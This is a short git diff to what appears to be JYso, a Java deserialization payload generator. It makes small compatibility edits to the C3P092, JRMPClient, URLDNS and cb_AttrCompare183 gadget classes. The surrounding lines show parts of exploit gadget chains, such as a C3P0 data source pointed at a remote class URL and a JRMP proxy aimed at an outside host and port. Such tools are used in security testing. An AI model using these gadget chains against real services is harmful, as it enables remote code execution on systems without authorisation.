diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java index 9f54b3e..10658eb 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/C3P092.java +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P092.java @@ -44,7 +44,9 @@ public class C3P092 implements ObjectPayload { ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); // mock method name until armed - final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); + final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ); Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java index 9d42884..10837c8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java @@ -59,7 +59,7 @@ public class JRMPClient implements ObjectPayload { TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); - return (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ + return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ Registry.class }, obj); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index 80d6405..8869e6a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -11,7 +11,7 @@ import java.util.List; /** * A blog post with more details about this gadget chain is at the url below: - * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ + * ... *

* This was inspired by Philippe Arteau @h3xstream, who wrote a blog * posting describing how he modified the Java Commons Collections gadget diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java index b339240..3254877 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java @@ -43,7 +43,9 @@ public class cb_AttrCompare183 implements ObjectPayload { } catch (NotFoundException ignored) { } ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); - final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass( + new SuClassLoader(),SuClassLoader.class.getProtectionDomain() + ).newInstance(); ctBeanComparator.defrost(); return beanComparator; }